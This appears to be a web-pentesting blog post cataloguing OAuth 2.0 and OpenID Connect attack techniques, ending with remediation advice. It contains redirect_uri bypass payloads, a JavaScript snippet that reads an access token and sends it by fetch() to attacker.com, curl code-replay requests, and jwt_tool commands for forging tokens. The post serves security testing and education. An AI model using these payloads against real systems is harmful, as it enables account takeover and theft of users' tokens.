← Back to writing
Web Pentesting

OAuth 2.0 Attack Techniques

Aug 22, 2024
3 min read
lawbyte

OAuth 2.0 is a delegation protocol — and when implemented incorrectly, it becomes a mechanism for account takeover. This post covers every major OAuth attack pattern from redirect URI manipulation to implicit flow token theft.

OAuth Flows Quick Reference

Authorization Code (most secure) — code exchanged server-side for tokens.

Implicit (deprecated) — token in URL fragment directly (dangerous).

Client Credentials — M2M, no user involvement.

Device Flow — TV/IoT devices, no browser.


Redirect URI Manipulation

The redirect_uri parameter tells the authorization server where to send the code/token after authorization.

Exact match bypass

# Registered: https://target.com/callback
# Try variations:
https://target.com/callback/
https://target.com/callback%2F
https://target.com/callback%252F
https://target.com/callback?x=1
https://target.com/callbackEvil
https://target.com/callback/../evil

Subdomain bypass (if wildcards allowed)

# Registered: https://*.target.com/callback
https://attacker.target.com/callback # if attacker can register subdomains
https://evil.target.com/callback # if subdomain takeover

Chaining with open redirect

If target.com has an open redirect:

https://target.com/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://target.com/redirect?url=https://attacker.com/steal&
response_type=code

After authorization, the code goes to target.com/redirect, which redirects to attacker.com/steal?code=AUTH_CODE.


State Parameter Attacks (CSRF)

If state is missing, predictable, or not validated:

# Craft authorization URL without state, trick victim to visit
https://auth.target.com/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://target.com/callback&
response_type=code&
scope=openid profile email

# Victim authorizes, code comes back to your session
# You complete the exchange — now linked to your account

Account linking CSRF:

  1. Attacker initiates OAuth flow for “Connect GitHub account.”
  2. Drops the flow before the redirect (stops at step 5 out of 6).
  3. Gets the victim to click a link that completes the flow (step 6 — visiting the callback with the authorization code).
  4. Victim’s account is now linked to attacker’s GitHub account.
  5. Attacker uses “Login with GitHub” to access victim’s account.

Authorization Code Interception

Via Referer header

After authorization, the redirect contains the code in the URL. If the callback page loads third-party resources:

https://target.com/callback?code=AUTH_CODE

The Referer header on external resource requests contains the code.

Via Browser History / Analytics

If the code appears in the browser history or is sent to analytics (GA, Mixpanel, etc.).

Via Log Poisoning

Server-side request logs often record the full URL including query parameters.


Implicit Flow Token Theft

The implicit flow puts the access token directly in the URL fragment:

https://target.com/callback#access_token=TOKEN&token_type=Bearer

Fragment is accessible to JavaScript on the page. If the callback page has XSS:

// From XSS on callback page
var token = location.hash.split('access_token=')[1].split('&')[0];
fetch('https://attacker.com/steal?t=' + token);

Token Leakage in OAuth Apps

token_endpoint_auth_method=none (Public client secrets)

# If client_secret is not required:
curl -X POST https://auth.target.com/oauth/token \
-d "grant_type=authorization_code&code=AUTH_CODE&redirect_uri=...&client_id=PUBLIC_CLIENT"

Reusable authorization codes

# Authorization codes should be single-use
# Try replaying a code:
curl -X POST https://auth.target.com/oauth/token \
-d "grant_type=authorization_code&code=ALREADY_USED_CODE&..."

# If you get a new token, codes are reusable

Scope escalation

# Request token with limited scope
scope=read

# Try to use token for write operations
GET /api/user/settings # read scope — OK
POST /api/user/email # write scope — should fail, might not

JWT Attack Chaining in OAuth

OAuth tokens are often JWTs. Apply JWT attacks:

# Algorithm confusion
python jwt_tool.py <access_token> -X s -pk public.pem

# none algorithm
python jwt_tool.py <access_token> -X a

# Claim manipulation (role, scope, sub)
python jwt_tool.py <access_token> -T
# Modify "sub" to another user's ID, "scope" to "admin"

OpenID Connect Attacks

id_token claim manipulation

OIDC uses JWTs. If the sub claim isn’t validated server-side after signature verification:

{
"sub": "victim_user_id",
"email": "victim@target.com",
"iss": "https://accounts.google.com",
"aud": "client_id"
}

Forge this token (with algorithm confusion or none) to log in as victim.

Nonce replay

OIDC uses nonce to prevent replay attacks. If the server doesn’t validate the nonce, a stolen id_token can be reused.


Discovery and Enumeration

# Find OAuth endpoints
curl https://target.com/.well-known/oauth-authorization-server
curl https://target.com/.well-known/openid-configuration

# Find registered redirect URIs (sometimes exposed)
curl https://auth.target.com/api/clients/CLIENT_ID

# Enumerate scopes
# Try increasing scope in authorization URL
scope=openid+profile+email+admin+write

Tools

# jwt_tool — JWT analysis and attack
python jwt_tool.py <token> -X a # alg:none
python jwt_tool.py <token> -X s -pk public.pem # HMAC with public key

# oauth2-proxy source analysis
# Burp Suite — intercept OAuth flow, modify redirect_uri, state
# Authz0 — OAuth/OIDC testing tool

Remediation

  • Validate redirect_uri against an exact-match allowlist.
  • Require and validate the state parameter on every authorization request.
  • Make authorization codes single-use and short-lived (≤10 minutes).
  • Use PKCE (Proof Key for Code Exchange) for public clients.
  • Don’t use the implicit flow — use authorization code with PKCE.
  • Validate JWT signatures and claims (especially iss, aud, exp, sub) on the server.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.